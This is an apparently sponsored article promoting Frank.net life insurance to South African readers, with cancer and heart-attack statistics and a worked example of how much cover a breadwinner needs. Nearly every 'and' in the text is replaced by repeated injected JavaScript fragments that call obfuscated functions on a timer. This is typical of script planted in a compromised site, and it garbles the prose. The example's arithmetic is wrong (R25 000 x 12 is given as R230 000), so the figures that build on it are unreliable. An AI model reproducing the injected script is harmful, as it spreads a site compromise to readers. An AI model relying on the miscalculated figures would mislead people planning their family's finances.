Life Insurance Made Simple With Frank.net

0

There is a wise saying that prevention is better than cure.

In the context of life insurance however, it’s not about the prevention of death nor a cure for disability nor critical illness but the financial impact that one of these events can have on your family’s lifestyle should you fall ill or pass away.

Life Insurance Facts 

It’s normal to be in denial that death, disability or illness won’t happen anytime soon. If you honestly think about it however, you realise it’s just a matter of time.

Research Indicates:

  • In South Africa, someone has a heart attack every 8 minutes.
  • 1 in 6 South African men andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and 1 in 7 South African women will get cancer during their lifetime.
  • Families are under more financial strain when the breadwinner passes away. 

Things To Keep In Mind:

When you insure your life you can:

  • Guarantee your dependants maintain their lifestyle after your passing.
  • Provide a tax-free monthly income for your family.
  • Settle all outstandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anding debts like home loans, credit cards, personal loans andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and education fees. 

Calculating Your Life Insurance Needs:

Be careful not to under-insure yourself as this can have an impact on your family’s financial andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and life goals.

[tip title=”moneysmart tip”]It’s best to take your current annual salary andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and multiply it 10 times to get the minimum cover amount required to insure your life. This can provide a lump sum to settle most of your debts andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and provide an income for up to 3 – 5 years.[/tip]

Example:

  • Jack earns R25 000 per month
  • Annual Salary: R25 000 per month x 12 = R230 000
  • Annual Salary x 10 = R2 300 000 Life Cover

With the R2 300 000 insurance payout, Jack can settle the following financial burdens:

PAY LUMP SUM DEBTS

AMOUNTS

Home Loan R900 000
Personal Loan R50 000
Car Loans R250 000
Other Loans R30 000
Children’s Education (School/University) R100 000
TOTAL DEBT PAID R1 330 000
TOTAL INSURANCE PAYOUT LEFT R970 000

 

After taking life insurance, Jack made instructions in his will to invest all remaining life insurance funds into a monthly annuity that will:

  • Pay a tax-free monthly income to his family
  • And provide income for the financial necessities:
Groceries R5000
Caretaker R1000
Medical Aid R1800
Life Insurance For Spouse R890
Savings R2000
Clothing R500
MONTHLY INCOME PAYOUT PER MONTH R11 900
MONTHLY PAYOUT IN THE FIRST YEAR R134 280
FUNDS LEFT FOR REMAINING YEARS R832 720

 

With an annual interest rate of 6% that grows year on year, Jack’s family will have an income for at least 6 years until the funds run out.
This also takes into consideration annual inflation. His family will therefore receive a growth in income just as if Jack was still working, but the great thing here is that there’s no more debt to pay andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the payout is tax free.

Making Life Insurance Simple

Frank.net provides a transparent, affordable andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and convenient way to take out life insurance. Your premium is calculated based on your individual risk profile.

Their benefits are comprehensive andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and cover you for the following:

  • Life insurance in the event of death.
  • Salary protection – unable to work due to illness or disability.
  • Critical illness such as cancer, heart attacks, organ dysfunction, strokes, etc.
  • Disability cover in the event of an accident or illness disabling you andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and preventing you from working.

With Frank.Net, you can insure yourself for up to R 10 000 000.00 life cover that pays out a tax-free lump sum to your estate andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and provides income for your dependants. You are in control of your premiums with Frank.Net as they allow you to adjust your cover without any penalties, as you need more or less of it.

Having life insurance cover is a financial responsibility that any breadwinner has to apply to his or her family finances. We highly recommend Frank.Net for their professional service andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and comprehensive insurance cover at an affordable rate.

[sponsoredlink title=”Invest In Your Family’s Financial Well-Being; Insure Yourself With Frank.Net!” link=”https://clk.tradedoubler.com/click?p=223433&a=2127184&g=20804896″/]
Share.

About Author